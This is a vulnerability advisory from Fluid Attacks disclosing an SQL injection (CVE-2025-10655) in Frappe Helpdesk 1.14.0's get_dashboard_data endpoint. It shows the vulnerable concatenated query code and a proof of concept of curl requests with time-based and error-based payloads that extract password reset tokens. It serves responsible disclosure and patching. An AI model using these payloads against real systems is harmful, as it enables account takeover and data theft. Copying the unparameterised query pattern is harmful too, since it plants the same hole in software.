Frappe Helpdesk 1.14.0 — SQL Injection in dashboard get_dashboard_data

8.6

High

8.6

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Frappe Helpdesk 1.14.0 — SQL Injection in dashboard “get_dashboard_data” endpoint (filters.team)

Code name

State

Public

Release date

Dec 9, 2025

Affected product

Frappe Helpdesk

Vendor

Frappe

Affected version(s)

1.14.0

Vulnerability name

SQL Injection

Vulnerability type

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.6

Exploit available

Yes

Description

The endpoint POST /api/method/helpdesk.api.dashboard.get_dashboard_data builds SQL fragments by string concatenation of user-controlled filters (filters.team, filters.agent) into a conds clause, which is then embedded directly in multiple SQL queries via f-strings. There is no parameter binding. As a result, an authenticated user (Agent Manager or higher) can inject SQL predicates and expressions (e.g., time-based delays or error-based primitives), leading to data exfiltration. We confirmed the extraction of password reset tokens (reset_password_key) from tabUser and logic manipulation (e.g., OR 1=1) through this flaw.

Vulnerability

Relevant backend fragments (helpdesk/api/dashboard.py):

conds = ""
if _filters.team:
    conds += f" AND agent_group='{_filters.team}'"   # <-- injection

if _filters.agent:
    conds += f" AND JSON_SEARCH(_assign, 'one', '{_filters.agent}') IS NOT NULL"

result = frappe.db.sql(
    f"""
        SELECT COUNT(CASE
            WHEN creation >= %(from_date)s AND creation < DATE_ADD(%(to_date)s, INTERVAL 1 DAY)
            {conds}
            THEN name ELSE NULL END) as current_month_tickets,
        ...
    """,
    {"from_date": from_date, "to_date": to_date, "prev_from_date": prev_from_date},
    as_dict=True,
)
  • Attackers can read arbitrary data via SQLi error-based/boolean techniques, including sensitive secrets such as reset_password_key, enabling account takeover via the password reset flow.

  • Exposure scope: Authenticated “Agent Manager” (and, in certain deployments, “Agent” depending on filter validation, can exploit the vulnerable parameter.

PoC

  • Login and keep cookies (Agent Manager or admin):

    curl -k --proxy-insecure -x 127.0.0.1:8080 -c c.txt -sS -X POST \
      'https://helpdesk-wth-jua.v.frappe.cloud/api/method/login' \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      --data-urlencode 'usr=dthmchg@gmail.com' --data-urlencode 'pwd=[REDACTED]'
  • Time-based injection (filters.team):

    /usr/bin/time -h curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
      'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
      -H 'Content-Type: application/json' \
      --data '{"dashboard_type":"number_card","filters":{"team":"x'"'"' OR SLEEP(3) OR '"'"'a'"'"'='"'"'a","agent":"@me"}}'
  • Error-based extraction (single chunk of 16 chars):

    curl -k --proxy-insecure -x 127.0.0.1:8080 -b c.txt -sS -i -X POST \
      'https://helpdesk-wth-jua.v.frappe.cloud/api/method/helpdesk.api.dashboard.get_dashboard_data' \
      -H 'Content-Type: application/json' \
      --data '{"dashboard_type":"number_card","filters":{"team":"' AND extractvalue(1,concat(0x3a,substring((select reset_password_key from `tabUser` where email='dthmchg@gmail.com' limit 1),1,16)))-- ","agent":"@me"}}'

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-10655 to refer to this issue from now on.

Disclosure policy

System Information

  • Frappe Helpdesk

  • Version 1.14.0

  • Operating System: macOS

References

Mitigation

A patch version of Frappe Helpdesk is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

Sep 15, 2025

Vulnerability discovered

Sep 17, 2025

Vendor contacted

Sep 18, 2025

Vendor replied

Oct 3, 2025

Vendor confirmed

Dec 5, 2025

Vulnerability patched

Dec 9, 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2025 Fluid Attacks. We hack your software.